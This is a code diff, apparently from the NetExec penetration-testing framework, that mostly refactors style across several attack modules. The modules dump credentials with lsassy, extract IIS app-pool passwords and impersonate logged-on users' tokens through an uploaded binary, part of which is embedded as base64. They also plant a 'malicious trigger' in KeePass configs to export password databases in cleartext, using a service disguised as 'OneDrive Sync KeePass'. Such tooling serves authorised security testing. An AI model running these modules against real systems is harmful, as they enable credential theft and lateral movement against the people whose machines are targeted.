cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
|
||||
@@ -302,7 +296,7 @@ class NXCModule:
|
||||
neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}"
|
||||
driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False)
|
||||
neo4j_conn(context, connection, driver)
|
||||
neo4j_local_admins(context, driver)
|
||||
admin_results = neo4j_local_admins(context, driver)
|
||||
create_db(admin_results, dbconnection, cursor)
|
||||
initial_run(connection, cursor)
|
||||
context.log.display("Running lsassy")
|
||||
|
||||
@@ -1,16 +1,13 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
class NXCModule:
|
||||
|
||||
"""
|
||||
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
|
||||
|
||||
Module by Brandon Fisher @shad0wcntr0ller
|
||||
"""
|
||||
|
||||
name = 'iis'
|
||||
name = "iis"
|
||||
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
|
||||
supported_protocols = ['smb']
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
@@ -24,29 +21,26 @@ class NXCModule:
|
||||
self.check_appcmd(context, connection)
|
||||
|
||||
def check_appcmd(self, context, connection):
|
||||
|
||||
if not hasattr(connection, 'has_run'):
|
||||
if not hasattr(connection, "has_run"):
|
||||
connection.has_run = False
|
||||
|
||||
|
||||
if connection.has_run:
|
||||
return
|
||||
|
||||
connection.has_run = True
|
||||
|
||||
|
||||
try:
|
||||
connection.conn.listPath('C$', '\\Windows\\System32\\inetsrv\\appcmd.exe')
|
||||
connection.conn.listPath("C$", "\\Windows\\System32\\inetsrv\\appcmd.exe")
|
||||
self.execute_appcmd(context, connection)
|
||||
except:
|
||||
context.log.fail("appcmd.exe not found, this module is not applicable.")
|
||||
except Exception as e:
|
||||
context.log.fail(f"appcmd.exe not found, this module is not applicable - {e}")
|
||||
return
|
||||
|
||||
def execute_appcmd(self, context, connection):
|
||||
command = f'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
|
||||
context.log.info(f'Checking For Hidden Credentials With Appcmd.exe')
|
||||
command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
|
||||
context.log.info("Checking For Hidden Credentials With Appcmd.exe")
|
||||
output = connection.execute(command, True)
|
||||
|
||||
|
||||
lines = output.splitlines()
|
||||
username = None
|
||||
password = None
|
||||
@@ -55,20 +49,19 @@ class NXCModule:
|
||||
credentials_set = set()
|
||||
|
||||
for line in lines:
|
||||
if 'APPPOOL.NAME:' in line:
|
||||
apppool_name = line.split('APPPOOL.NAME:')[1].strip().strip('"')
|
||||
if "APPPOOL.NAME:" in line:
|
||||
apppool_name = line.split("APPPOOL.NAME:")[1].strip().strip('"')
|
||||
if "userName:" in line:
|
||||
username = line.split("userName:")[1].strip().strip('"')
|
||||
if "password:" in line:
|
||||
password = line.split("password:")[1].strip().strip('"')
|
||||
|
||||
|
||||
if apppool_name and username is not None and password is not None:
|
||||
if apppool_name and username is not None and password is not None:
|
||||
current_credentials = (apppool_name, username, password)
|
||||
|
||||
if current_credentials not in credentials_set:
|
||||
credentials_set.add(current_credentials)
|
||||
|
||||
|
||||
if username:
|
||||
context.log.success(f"Credentials Found for APPPOOL: {apppool_name}")
|
||||
if password == "":
|
||||
@@ -76,7 +69,6 @@ class NXCModule:
|
||||
else:
|
||||
context.log.highlight(f"Username: {username}, Password: {password}")
|
||||
|
||||
|
||||
username = None
|
||||
password = None
|
||||
apppool_name = None
|
||||
+28
-22
@@ -4,31 +4,33 @@
|
||||
# Token manipulation blog post https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/
|
||||
|
||||
from base64 import b64decode
|
||||
from sys import exit
|
||||
from os import path
|
||||
import sys
|
||||
|
||||
from nxc.paths import DATA_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
||||
name = "impersonate"
|
||||
description = "List and impersonate tokens to run command as locally logged on users"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # could be flagged
|
||||
opsec_safe = True # could be flagged
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
TOKEN // Token id to usurp
|
||||
EXEC // Command to exec
|
||||
IMP_EXE // Path to the Impersonate binary on your local computer
|
||||
'''
|
||||
|
||||
"""
|
||||
TOKEN // Token id to usurp
|
||||
EXEC // Command to exec
|
||||
IMP_EXE // Path to the Impersonate binary on your local computer
|
||||
"""
|
||||
self.tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.tmp_dir.split(":")[1]
|
||||
self.impersonate = "Impersonate.exe"
|
||||
self.useembeded = True
|
||||
self.token = self.cmd = ""
|
||||
self.impersonate_embedded = b64decode("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 truncated
|
||||
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
|
||||
self.impersonate_embedded = b64decode(impersonate_file.read())
|
||||
if "EXEC" in module_options:
|
||||
self.cmd = module_options["EXEC"]
|
||||
|
||||
@@ -42,32 +44,36 @@ class NXCModule:
|
||||
def list_available_primary_tokens(self, _, connection):
|
||||
command = f"{self.tmp_dir}Impersonate.exe list"
|
||||
return connection.execute(command, True)
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.useembeded:
|
||||
file_to_upload = "/tmp/Impersonate.exe"
|
||||
with open(file_to_upload, 'wb') as impersonate:
|
||||
impersonate.write(self.impersonate_embedded)
|
||||
|
||||
try:
|
||||
with open(file_to_upload, "wb") as impersonate:
|
||||
impersonate.write(self.impersonate_embedded)
|
||||
except FileNotFoundError:
|
||||
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
|
||||
sys.exit(1)
|
||||
else:
|
||||
if path.isfile(self.imp_exe):
|
||||
file_to_upload = self.imp_exe
|
||||
else:
|
||||
context.log.error(f"Cannot open {self.imp_exe}")
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
|
||||
context.log.display(f"Uploading {self.impersonate}")
|
||||
with open(file_to_upload, 'rb') as impersonate:
|
||||
with open(file_to_upload, "rb") as impersonate:
|
||||
try:
|
||||
connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read)
|
||||
context.log.success(f"Impersonate binary successfully uploaded")
|
||||
context.log.success("Impersonate binary successfully uploaded")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
|
||||
return
|
||||
|
||||
try:
|
||||
if self.cmd == "" or self.token == "":
|
||||
context.log.display(f"Listing available primary tokens")
|
||||
context.log.display("Listing available primary tokens")
|
||||
p = self.list_available_primary_tokens(context, connection)
|
||||
for line in p.splitlines():
|
||||
token, token_integrity, token_owner = line.split(" ", 2)
|
||||
@@ -81,19 +87,19 @@ class NXCModule:
|
||||
impersonated_user = token_owner.strip()
|
||||
break
|
||||
|
||||
if impersonated_user:
|
||||
if impersonated_user:
|
||||
context.log.display(f"Executing {self.cmd} as {impersonated_user}")
|
||||
command = f'{self.tmp_dir}Impersonate.exe exec {self.token} \"{self.cmd}\"'
|
||||
command = f'{self.tmp_dir}Impersonate.exe exec {self.token} "{self.cmd}"'
|
||||
for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
|
||||
context.log.highlight(line)
|
||||
else:
|
||||
context.log.fail(f"Invalid token ID submitted")
|
||||
context.log.fail("Invalid token ID submitted")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error runing command: {e}")
|
||||
finally:
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
|
||||
context.log.success(f"Impersonate binary successfully deleted")
|
||||
context.log.success("Impersonate binary successfully deleted")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting Impersonate.exe on {self.share}: {e}")
|
||||
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5 import scmr
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
|
||||
# Airbus CERT
|
||||
# module by @mpgn_x64
|
||||
@@ -26,6 +23,7 @@ class NXCModule:
|
||||
|
||||
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(authLevel)
|
||||
@@ -36,7 +34,6 @@ class NXCModule:
|
||||
|
||||
context.log.debug("[*] Retrieving network interface of " + connection.host)
|
||||
|
||||
# NetworkAddr = bindings[0]['aNetworkAddr']
|
||||
for binding in bindings:
|
||||
NetworkAddr = binding["aNetworkAddr"]
|
||||
try:
|
||||
@@ -20,7 +20,7 @@ class NXCModule:
|
||||
self.search_path = "'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
SEARCH_TYPE Specify what to search, between:
|
||||
PROCESS Look for running KeePass.exe process only
|
||||
FILES Look for KeePass-related files (KeePass.config.xml, .kdbx, KeePass.exe) only, may take some time
|
||||
@@ -29,7 +29,6 @@ class NXCModule:
|
||||
SEARCH_PATH Comma-separated remote locations where to search for KeePass-related files (you must add single quotes around the paths if they include spaces)
|
||||
Default: 'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'
|
||||
"""
|
||||
|
||||
if "SEARCH_PATH" in module_options:
|
||||
self.search_path = module_options["SEARCH_PATH"]
|
||||
|
||||
@@ -49,20 +48,14 @@ class NXCModule:
|
||||
keepass_process_id = row[0]
|
||||
keepass_process_username = row[1]
|
||||
keepass_process_name = row[2]
|
||||
context.log.highlight(
|
||||
'Found process "{}" with PID {} (user {})'.format(
|
||||
keepass_process_name,
|
||||
keepass_process_id,
|
||||
keepass_process_username,
|
||||
)
|
||||
)
|
||||
context.log.highlight(f'Found process "{keepass_process_name}" with PID {keepass_process_id} (user {keepass_process_username})')
|
||||
if row_number == 0:
|
||||
context.log.display("No KeePass-related process was found")
|
||||
|
||||
# search for keepass-related files
|
||||
if self.search_type == "ALL" or self.search_type == "FILES":
|
||||
search_keepass_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
|
||||
search_keepass_files_cmd = 'powershell.exe "{}"'.format(search_keepass_files_payload)
|
||||
search_keepass_files_payload = f"Get-ChildItem -Path {self.search_path} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName"
|
||||
search_keepass_files_cmd = f'powershell.exe "{search_keepass_files_payload}"'
|
||||
search_keepass_files_output = connection.execute(search_keepass_files_cmd, True).split("\r\n")
|
||||
found = False
|
||||
found_xml = False
|
||||
@@ -71,7 +64,7 @@ class NXCModule:
|
||||
if "xml" in file:
|
||||
found_xml = True
|
||||
found = True
|
||||
context.log.highlight("Found {}".format(file))
|
||||
context.log.highlight(f"Found {file}")
|
||||
if not found:
|
||||
context.log.display("No KeePass-related file were found")
|
||||
elif not found_xml:
|
||||
|
||||
@@ -46,17 +46,17 @@ class NXCModule:
|
||||
self.poll_frequency_seconds = 5
|
||||
self.dummy_service_name = "OneDrive Sync KeePass"
|
||||
|
||||
with open(get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1"), "r") as remove_trigger_script_file:
|
||||
with open(get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1")) as remove_trigger_script_file:
|
||||
self.remove_trigger_script_str = remove_trigger_script_file.read()
|
||||
|
||||
with open(get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1"), "r") as add_trigger_script_file:
|
||||
with open(get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1")) as add_trigger_script_file:
|
||||
self.add_trigger_script_str = add_trigger_script_file.read()
|
||||
|
||||
with open(get_ps_script("keepass_trigger_module/RestartKeePass.ps1"), "r") as restart_keepass_script_file:
|
||||
with open(get_ps_script("keepass_trigger_module/RestartKeePass.ps1")) as restart_keepass_script_file:
|
||||
self.restart_keepass_script_str = restart_keepass_script_file.read()
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
ACTION (mandatory) Performs one of the following actions, specified by the user:
|
||||
ADD insert a new malicious trigger into KEEPASS_CONFIG_PATH's specified file
|
||||
CHECK check if a malicious trigger is currently set in KEEPASS_CONFIG_PATH's
|
||||
@@ -74,7 +74,7 @@ class NXCModule:
|
||||
USER Targeted user running KeePass, used to restart the appropriate process
|
||||
(used by RESTART action)
|
||||
|
||||
EXPORT_NAME Name fo the database export file, default: export.xml
|
||||
EXPORT_NAME Name of the database export file, default: export.xml
|
||||
EXPORT_PATH Path where to export the KeePass database in cleartext
|
||||
default: C:\\Users\\Public, %APPDATA% works well too for user permissions
|
||||
|
||||
@@ -86,7 +86,6 @@ class NXCModule:
|
||||
Not all variables used by the module are available as options (ex: trigger name, temp folder path, etc.),
|
||||
but they can still be easily edited in the module __init__ code if needed
|
||||
"""
|
||||
|
||||
if "ACTION" in module_options:
|
||||
if module_options["ACTION"] not in [
|
||||
"ADD",
|
||||
@@ -98,12 +97,12 @@ class NXCModule:
|
||||
"ALL",
|
||||
]:
|
||||
context.log.fail("Unrecognized action, use --options to list available parameters")
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
else:
|
||||
self.action = module_options["ACTION"]
|
||||
else:
|
||||
context.log.fail("Missing ACTION option, use --options to list available parameters")
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
|
||||
if "KEEPASS_CONFIG_PATH" in module_options:
|
||||
self.keepass_config_path = module_options["KEEPASS_CONFIG_PATH"]
|
||||
@@ -120,7 +119,7 @@ class NXCModule:
|
||||
if "PSH_EXEC_METHOD" in module_options:
|
||||
if module_options["PSH_EXEC_METHOD"] not in ["ENCODE", "PS1"]:
|
||||
context.log.fail("Unrecognized powershell execution method, use --options to list available parameters")
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
else:
|
||||
self.powershell_exec_method = module_options["PSH_EXEC_METHOD"]
|
||||
|
||||
@@ -141,7 +140,6 @@ class NXCModule:
|
||||
|
||||
def add_trigger(self, context, connection):
|
||||
"""Add a malicious trigger to a remote KeePass config file using the powershell script AddKeePassTrigger.ps1"""
|
||||
|
||||
# check if the specified KeePass configuration file exists
|
||||
if self.trigger_added(context, connection):
|
||||
context.log.display(f"The specified configuration file {self.keepass_config_path} already contains a trigger called '{self.trigger_name}', skipping")
|
||||
@@ -171,14 +169,13 @@ class NXCModule:
|
||||
|
||||
# checks if the malicious trigger was effectively added to the specified KeePass configuration file
|
||||
if self.trigger_added(context, connection):
|
||||
context.log.success(f"Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files")
|
||||
context.log.success("Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files")
|
||||
else:
|
||||
context.log.fail(f"Unknown error when adding malicious trigger to file")
|
||||
context.log.fail("Unknown error when adding malicious trigger to file")
|
||||
sys.exit(1)
|
||||
|
||||
def check_trigger_added(self, context, connection):
|
||||
"""check if the trigger is added to the config file XML tree"""
|
||||
|
||||
"""Check if the trigger is added to the config file XML tree"""
|
||||
if self.trigger_added(context, connection):
|
||||
context.log.display(f"Malicious trigger '{self.trigger_name}' found in '{self.keepass_config_path}'")
|
||||
else:
|
||||
@@ -186,20 +183,19 @@ class NXCModule:
|
||||
|
||||
def restart(self, context, connection):
|
||||
"""Force the restart of KeePass process using a Windows service defined using the powershell script RestartKeePass.ps1
|
||||
If multiple process belonging to different users are running simultaneously,
|
||||
relies on the USER option to choose which one to restart"""
|
||||
|
||||
If multiple process belonging to different users are running simultaneously, relies on the USER option to choose which one to restart
|
||||
"""
|
||||
# search for keepass processes
|
||||
search_keepass_process_command_str = 'powershell.exe "Get-Process keepass* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"'
|
||||
search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True)
|
||||
# we return the powershell command as a CSV for easier column parsing
|
||||
csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",")
|
||||
next(csv_reader) # to skip the header line
|
||||
keepass_process_list = list(csv_reader)
|
||||
|
||||
# we return the powershell command as a CSV for easier column parsing, skipping the header line
|
||||
csv_reader = reader(search_keepass_process_output_csv.split("\n")[1:], delimiter=",")
|
||||
|
||||
# check if multiple processes belonging to different users are running (in order to choose which one to restart)
|
||||
keepass_users = []
|
||||
for process in keepass_process_list:
|
||||
keepass_users.append(process[1])
|
||||
keepass_users = [process[1] for process in list(csv_reader)]
|
||||
|
||||
if len(keepass_users) == 0:
|
||||
context.log.fail("No running KeePass process found, aborting restart")
|
||||
return
|
||||
@@ -223,7 +219,7 @@ class NXCModule:
|
||||
context.log.fail("Multiple KeePass processes were found, please specify parameter USER to target one")
|
||||
return
|
||||
|
||||
context.log.display("Restarting {}'s KeePass process".format(keepass_users[0]))
|
||||
context.log.display(f"Restarting {keepass_users[0]}'s KeePass process")
|
||||
|
||||
# prepare the restarting script based on user-specified parameters (e.g: keepass user, etc)
|
||||
# see data/keepass_trigger_module/RestartKeePass.ps1
|
||||
@@ -234,27 +230,28 @@ class NXCModule:
|
||||
# actually performs the restart on the remote target
|
||||
if self.powershell_exec_method == "ENCODE":
|
||||
restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode("UTF-16LE")).decode("utf-8")
|
||||
restart_keepass_script_cmd = "powershell.exe -e {}".format(restart_keepass_script_b64)
|
||||
restart_keepass_script_cmd = f"powershell.exe -e {restart_keepass_script_b64}"
|
||||
connection.execute(restart_keepass_script_cmd)
|
||||
elif self.powershell_exec_method == "PS1":
|
||||
try:
|
||||
self.put_file_execute_delete(context, connection, self.restart_keepass_script_str)
|
||||
except Exception as e:
|
||||
context.log.fail("Error while restarting KeePass: {}".format(e))
|
||||
context.log.fail(f"Error while restarting KeePass: {e}")
|
||||
return
|
||||
|
||||
def poll(self, context, connection):
|
||||
"""Search for the cleartext database export file in the specified export folder
|
||||
(until found, or manually exited by the user)"""
|
||||
(until found, or manually exited by the user)
|
||||
"""
|
||||
found = False
|
||||
context.log.display(f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient")
|
||||
context.log.display("we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything")
|
||||
# if the specified path is %APPDATA%, we need to check in every user's folder
|
||||
if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
|
||||
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
|
||||
poll_export_command_str = f"powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{self.export_name}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\""
|
||||
else:
|
||||
export_full_path = f"'{self.export_path}\\{self.export_name}'"
|
||||
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)
|
||||
poll_export_command_str = f'powershell.exe "if (Test-Path {export_full_path} -PathType leaf){{ Write-Output {export_full_path} }}"'
|
||||
|
||||
# we poll every X seconds until the export path is found on the remote machine
|
||||
while not found:
|
||||
@@ -263,7 +260,7 @@ class NXCModule:
|
||||
